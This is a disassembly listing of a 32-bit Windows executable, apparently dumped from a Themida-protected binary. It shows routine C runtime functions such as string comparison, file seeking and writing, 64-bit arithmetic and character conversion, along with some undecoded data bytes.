push eax
call near ptr 2870000h
nop
mov ax, [ebp+var_16]
cmp ax, word_4DB9C2
jnz short loc_41D0E6
mov ax, [ebp+var_18]
cmp ax, word_4DB9C0
jnz short loc_41D0E6
mov ax, [ebp+var_1A]
cmp ax, word_4DB9BE
jnz short loc_41D0E6
mov ax, [ebp+var_1E]
cmp ax, word_4DB9BA
jnz short loc_41D0E6
mov ax, [ebp+var_20]
cmp ax, word_4DB9B8
jnz short loc_41D0E6
mov eax, dword_4DB9B0
jmp short loc_41D12B
; ---------------------------------------------------------------------------
loc_41D0E6: ; CODE XREF: sub_41D081+28j
; sub_41D081+35j ...
lea eax, [ebp+var_CC]
push eax
nop
call near ptr 2860000h
cmp eax, 0FFFFFFFFh
jz short loc_41D113
cmp eax, 2
jnz short loc_41D10F
cmp [ebp+var_32], 0
jz short loc_41D10F
cmp [ebp+var_24], 0
jz short loc_41D10F
push 1
pop eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D10F: ; CODE XREF: sub_41D081+7Aj
; sub_41D081+81j ...
xor eax, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D113: ; CODE XREF: sub_41D081+75j
or eax, 0FFFFFFFFh
loc_41D116: ; CODE XREF: sub_41D081+8Cj
; sub_41D081+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4DB9B8
movsd
movsd
movsd
movsd
pop edi
mov dword_4DB9B0, eax
pop esi
loc_41D12B: ; CODE XREF: sub_41D081+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_422669
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D15B
mov [ecx], eax
locret_41D15B: ; CODE XREF: sub_41D081+D6j
leave
retn
sub_41D081 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D160 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DBA0C
cmp dword ptr [eax+8], 0
jnz short loc_41D1B3
mov al, 0FFh
mov edi, edi
loc_41D17C: ; CODE XREF: sub_41D160+28j
; sub_41D160+48j
or al, al
jz short loc_41D1AE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D17C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D17C
sbb al, al
sbb al, 0FFh
loc_41D1AE: ; CODE XREF: sub_41D160+1Ej
movsx eax, al
jmp short loc_41D1E7
; ---------------------------------------------------------------------------
loc_41D1B3: ; CODE XREF: sub_41D160+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D1BC: ; CODE XREF: sub_41D160+68j
; sub_41D160+80j
or al, al
jz short loc_41D1E7
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D1BC
push eax
push ebx
call sub_41D74C
mov ebx, eax
add esp, 4
call sub_41D74C
add esp, 4
cmp bl, al
jz short loc_41D1BC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D1E7: ; CODE XREF: sub_41D160+51j
; sub_41D160+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D160 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41D268
mov edi, [esp+14h]
test edi, edi
jz short loc_41D20B
cmp edi, 1
jz short loc_41D20B
cmp edi, 2
jnz short loc_41D268
loc_41D20B: ; CODE XREF: ___:0041D1FFj
; ___:0041D204j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D222
push esi
call sub_4227C5
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41D222: ; CODE XREF: ___:0041D213j
push esi
call sub_41DB8B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D237
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D24B
; ---------------------------------------------------------------------------
loc_41D237: ; CODE XREF: ___:0041D22Ej
test al, 1
jz short loc_41D24B
test al, 8
jz short loc_41D24B
test ah, 4
jnz short loc_41D24B
mov dword ptr [esi+18h], 200h
loc_41D24B: ; CODE XREF: ___:0041D235j
; ___:0041D239j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_42272B
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41D275
; ---------------------------------------------------------------------------
loc_41D268: ; CODE XREF: ___:0041D1F7j
; ___:0041D209j
mov dword_4DB958, 16h
or eax, 0FFFFFFFFh
loc_41D275: ; CODE XREF: ___:0041D266j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D280 proc near ; CODE XREF: sub_412B09+19Ep
; sub_41386C+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41D299
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41D299: ; CODE XREF: sub_41D280+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41D280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2B4 proc near ; CODE XREF: ___:004162E4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41D2D8
xor eax, eax
jmp loc_41D3A5
; ---------------------------------------------------------------------------
loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41D2EB
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41D2F2
; ---------------------------------------------------------------------------
loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj
mov [ebp+arg_C], 1000h
loc_41D2F2: ; CODE XREF: sub_41D2B4+35j
; sub_41D2B4+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41D326
mov eax, [esi+4]
test eax, eax
jz short loc_41D326
cmp ebx, eax
mov edi, ebx
jb short loc_41D30C
mov edi, eax
loc_41D30C: ; CODE XREF: sub_41D2B4+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41C310
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41D36C
; ---------------------------------------------------------------------------
loc_41D326: ; CODE XREF: sub_41D2B4+47j
; sub_41D2B4+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41D371
test ecx, ecx
jz short loc_41D33A
push esi
call sub_41DB8B
test eax, eax
pop ecx
jnz short loc_41D3B3
loc_41D33A: ; CODE XREF: sub_41D2B4+79j
cmp [ebp+arg_C], 0
jz short loc_41D34D
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41D34F
; ---------------------------------------------------------------------------
loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj
mov edi, ebx
loc_41D34F: ; CODE XREF: sub_41D2B4+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41D3AA
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41D3AA
loc_41D36C: ; CODE XREF: sub_41D2B4+70j
mov edi, [ebp+var_4]
jmp short loc_41D39A
; ---------------------------------------------------------------------------
loc_41D371: ; CODE XREF: sub_41D2B4+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41F58A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D3B3
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41D39A
mov [ebp+arg_C], 1
loc_41D39A: ; CODE XREF: sub_41D2B4+BBj
; sub_41D2B4+DDj
test ebx, ebx
jnz loc_41D2F2
mov eax, [ebp+arg_8]
loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj
; sub_41D2B4+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj
; sub_41D2B4+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41D3B5
; ---------------------------------------------------------------------------
loc_41D3B3: ; CODE XREF: sub_41D2B4+84j
; sub_41D2B4+CFj
mov eax, edi
loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41D3A5
sub_41D2B4 endp
; =============== S U B R O U T I N E =======================================
sub_41D3BE proc near ; CODE XREF: sub_416909+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 2690000h
cmp eax, 0FFFFFFFFh
jnz short loc_41D3DE
call near ptr 2680ABEh
nop
push eax
call sub_4203DF
pop ecx
loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj
test al, 1
jz short loc_41D3FF
test [esp+arg_4], 2
jz short loc_41D3FF
mov dword_4DB958, 0Dh
mov dword_4DB95C, 5
jmp short loc_41D3DA
; ---------------------------------------------------------------------------
loc_41D3FF: ; CODE XREF: sub_41D3BE+22j
; sub_41D3BE+29j
xor eax, eax
retn
sub_41D3BE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D410 proc near ; CODE XREF: sub_416923+3Fp
; sub_41A98D+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41D432
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D473
; ---------------------------------------------------------------------------
loc_41D432: ; CODE XREF: sub_41D410+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41D440: ; CODE XREF: sub_41D410+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D440
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41D46E
cmp edx, [esp+8+arg_4]
ja short loc_41D46E
jb short loc_41D46F
cmp eax, [esp+8+arg_0]
jbe short loc_41D46F
loc_41D46E: ; CODE XREF: sub_41D410+4Ej
; sub_41D410+54j
dec esi
loc_41D46F: ; CODE XREF: sub_41D410+56j
; sub_41D410+5Cj
xor edx, edx
mov eax, esi
loc_41D473: ; CODE XREF: sub_41D410+20j
pop esi
pop ebx
retn 10h
sub_41D410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D480 proc near ; CODE XREF: sub_416923+2Dp
; sub_41A98D+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41D4A1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41D4F1
; ---------------------------------------------------------------------------
loc_41D4A1: ; CODE XREF: sub_41D480+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41D4AF: ; CODE XREF: sub_41D480+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D4AF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41D4DA
cmp edx, [esp+4+arg_4]
ja short loc_41D4DA
jb short loc_41D4E2
cmp eax, [esp+4+arg_0]
jbe short loc_41D4E2
loc_41D4DA: ; CODE XREF: sub_41D480+4Aj
; sub_41D480+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41D4E2: ; CODE XREF: sub_41D480+52j
; sub_41D480+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41D4F1: ; CODE XREF: sub_41D480+1Fj
pop ebx
retn 10h
sub_41D480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D500 proc near ; CODE XREF: sub_416A33+5Fp
; sub_416A33+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41D521
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41D521: ; CODE XREF: sub_41D500+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41D53D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41D53D: ; CODE XREF: sub_41D500+27j
or eax, eax
jnz short loc_41D559
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D59A
; ---------------------------------------------------------------------------
loc_41D559: ; CODE XREF: sub_41D500+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41D567: ; CODE XREF: sub_41D500+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41D567
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41D595
cmp edx, [esp+0Ch+arg_4]
ja short loc_41D595
jb short loc_41D596
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41D596
loc_41D595: ; CODE XREF: sub_41D500+85j
; sub_41D500+8Bj
dec esi
loc_41D596: ; CODE XREF: sub_41D500+8Dj
; sub_41D500+93j
xor edx, edx
mov eax, esi
loc_41D59A: ; CODE XREF: sub_41D500+57j
dec edi
jnz short loc_41D5A4
neg edx
neg eax
sbb edx, 0
loc_41D5A4: ; CODE XREF: sub_41D500+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41D500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D5AA proc near ; CODE XREF: sub_4170ED+BFp
; sub_4170ED+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DBA14
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41D5DE
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41D645
loc_41D5C6: ; CODE XREF: sub_41D5AA+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41D5D7
cmp cl, 7Ah
jg short loc_41D5D7
sub cl, 20h
mov [edx], cl
loc_41D5D7: ; CODE XREF: sub_41D5AA+21j
; sub_41D5AA+26j
inc edx
cmp [edx], bl
jnz short loc_41D5C6
jmp short loc_41D645
; ---------------------------------------------------------------------------
loc_41D5DE: ; CODE XREF: sub_41D5AA+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_422ACA
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41D637
push edi
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41D637
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DBA14
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D637
push [ebp+var_4]
push [ebp+arg_0]
call sub_41BEB0
pop ecx
pop ecx
loc_41D637: ; CODE XREF: sub_41D5AA+53j
; sub_41D5AA+61j ...
push [ebp+var_4]
call sub_41B0B1
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41D645: ; CODE XREF: sub_41D5AA+1Aj
; sub_41D5AA+32j
pop ebx
leave
retn
sub_41D5AA endp
; =============== S U B R O U T I N E =======================================
sub_41D648 proc near ; CODE XREF: sub_417ADE+1A8p
arg_0 = dword ptr 4
cmp dword_43CBE4, 1
jle short loc_41D65F
push 4
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D65F: ; CODE XREF: sub_41D648+7j
mov eax, [esp+arg_0]
mov ecx, off_43C9D8
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41D648 endp
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_420510+76p
; sub_420510+88p ...
arg_0 = dword ptr 4
cmp dword_43CBE4, 1
jle short loc_41D687
push 8
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D687: ; CODE XREF: sub_41D670+7j
mov eax, [esp+arg_0]
mov ecx, off_43C9D8
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+0Ch]
test eax, eax
jz short locret_41D6EC
mov edx, [esp+4]
push esi
push edi
mov esi, edx
mov edi, [esp+10h]
or edx, edi
and edx, 3
jz short loc_41D6ED
test eax, 1
jz short loc_41D6CD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41D71A
inc esi
inc edi
dec eax
jz short loc_41D6EA
loc_41D6CD: ; CODE XREF: ___:0041D6C0j
; ___:0041D6E8j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41D71A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41D71A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41D6CD
loc_41D6EA: ; CODE XREF: ___:0041D6CBj
; ___:0041D724j
pop edi
pop esi
locret_41D6EC: ; CODE XREF: ___:0041D6A6j
retn
; ---------------------------------------------------------------------------
loc_41D6ED: ; CODE XREF: ___:0041D6B9j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41D722
repe cmpsd
jz short loc_41D722
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
jnz short loc_41D715
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
loc_41D715: ; CODE XREF: ___:0041D703j
; ___:0041D707j ...
mov eax, 0
loc_41D71A: ; CODE XREF: ___:0041D6C6j
; ___:0041D6D3j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D722: ; CODE XREF: ___:0041D6F5j
; ___:0041D6F9j
test eax, eax
jz short loc_41D6EA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41D715
dec eax
jz short loc_41D749
cmp dh, ch
jnz short loc_41D715
dec eax
jz short loc_41D749
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41D715
dec eax
loc_41D749: ; CODE XREF: ___:0041D72Fj
; ___:0041D736j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D74C proc near ; CODE XREF: sub_418069+6p
; sub_418087+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBA14, 0
push ebx
push esi
push edi
jnz short loc_41D779
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41D812
cmp eax, 5Ah
jg loc_41D812
add eax, 20h
jmp loc_41D812
; ---------------------------------------------------------------------------
loc_41D779: ; CODE XREF: sub_41D74C+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41D7AD
cmp dword_43CBE4, esi
jle short loc_41D79B
push esi
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_41D7A5
; ---------------------------------------------------------------------------
loc_41D79B: ; CODE XREF: sub_41D74C+42j
mov eax, off_43C9D8
mov al, [eax+ebx*2]
and eax, esi
loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj
test eax, eax
jnz short loc_41D7AD
loc_41D7A9: ; CODE XREF: sub_41D74C+ADj
mov eax, ebx
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj
; sub_41D74C+5Bj
mov edx, off_43C9D8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D7D1
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41D7DA
; ---------------------------------------------------------------------------
loc_41D7D1: ; CODE XREF: sub_41D74C+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41D7DA: ; CODE XREF: sub_41D74C+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
loc_41D7E9: ; DATA XREF: Themida_:00558BDCo
push dword_4DBA14
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D7A9
cmp eax, esi
jnz short loc_41D805
movzx eax, [ebp+var_4]
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D805: ; CODE XREF: sub_41D74C+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41D812: ; CODE XREF: sub_41D74C+16j
; sub_41D74C+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D74C endp
; =============== S U B R O U T I N E =======================================
sub_41D817 proc near ; CODE XREF: sub_4185A5+ADp
; sub_419594+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41D82E
loc_41D824: ; CODE XREF: sub_41D817+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41D824
loc_41D82E: ; CODE XREF: sub_41D817+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41D817 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D834 proc near ; CODE XREF: sub_4185A5+7Fp
; sub_4185A5+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41D901
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41D92E
cmp dword_4DBA14, esi
jnz short loc_41D885
cmp edi, esi
jbe loc_41D92E
loc_41D864: ; CODE XREF: sub_41D834+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41D92E
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41D864
jmp loc_41D92E
; ---------------------------------------------------------------------------
loc_41D885: ; CODE XREF: sub_41D834+26j
mov ebx, [ebp+arg_4]
mov esi, dword_427180
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DBA24
call esi
test eax, eax
jnz loc_41D92D
call near ptr 2680ABEh
nop
cmp eax, 7Ah
jz short loc_41D8BF
loc_41D8B0: ; CODE XREF: sub_41D834+CBj
; sub_41D834+F7j
mov dword_4DB958, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D8BF: ; CODE XREF: sub_41D834+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41D8C7: ; CODE XREF: sub_41D834+B3j
mov cl, [eax]
test cl, cl
jz short loc_41D8E9
mov edx, off_43C9D8
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D8DE
inc eax
loc_41D8DE: ; CODE XREF: sub_41D834+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41D8C7
loc_41D8E9: ; CODE XREF: sub_41D834+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DBA24
call esi
test eax, eax
jnz short loc_41D92E
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D901: ; CODE XREF: sub_41D834+Fj
cmp dword_4DBA14, esi
jnz short loc_41D914
push [ebp+arg_4]
call sub_41AFE0
pop ecx
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D914: ; CODE XREF: sub_41D834+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DBA24
nop
call near ptr 2810000h
cmp eax, esi
jz short loc_41D8B0
loc_41D92D: ; CODE XREF: sub_41D834+6Bj
dec eax
loc_41D92E: ; CODE XREF: sub_41D834+1Aj
; sub_41D834+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D834 endp
; ---------------------------------------------------------------------------
db 16h
dd 63DCAAFDh, 0F85F9AC8h, 5EDBB0ABh, 0A1647E07h, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 41A6E8E8h, 33900246h, 89D48AD2h
dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h
dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh
dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 5BE8FC75h, 0E8000059h, 246412Eh, 0CFECA390h, 19E8004Dh
dd 0A3000058h, 4DB9C8h, 55C2E8h, 5504E800h, 0B9E80000h
dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2462628h, 5495E8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 2BE89056h, 50022727h, 0FE3820E8h, 0A04589FFh
dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h
dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41DA29 proc near ; CODE XREF: sub_41D052+16p
; ___:00422F18p ...
arg_0 = dword ptr 4
cmp dword_4DB9D0, 1
jnz short loc_41DA37
call sub_423590
loc_41DA37: ; CODE XREF: sub_41DA29+7j
push [esp+arg_0]
call sub_4235C9
push 0FFh
call off_43A9A0
pop ecx
pop ecx
retn
sub_41DA29 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4DB9D0
dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h
dd 0A58244E8h
db 77h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap
; sub_423A33+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DCDA0
jnb loc_41DB0C
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DCCA0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41DB0C
push edi
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DAEB
cmp edi, 1
jz short loc_41DAB9
cmp edi, 2
jnz short loc_41DACF
loc_41DAB9: ; CODE XREF: sub_41DA72+40j
push 2
call sub_4238A2
push 1
mov ebp, eax
call sub_4238A2
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41DAEB
loc_41DACF: ; CODE XREF: sub_41DA72+45j
push edi
call sub_4238A2
pop ecx
push eax
nop
call near ptr 2660919h
test eax, eax
jnz short loc_41DAEB
call near ptr 2680ABEh
nop
mov ebp, eax
jmp short loc_41DAED
; ---------------------------------------------------------------------------
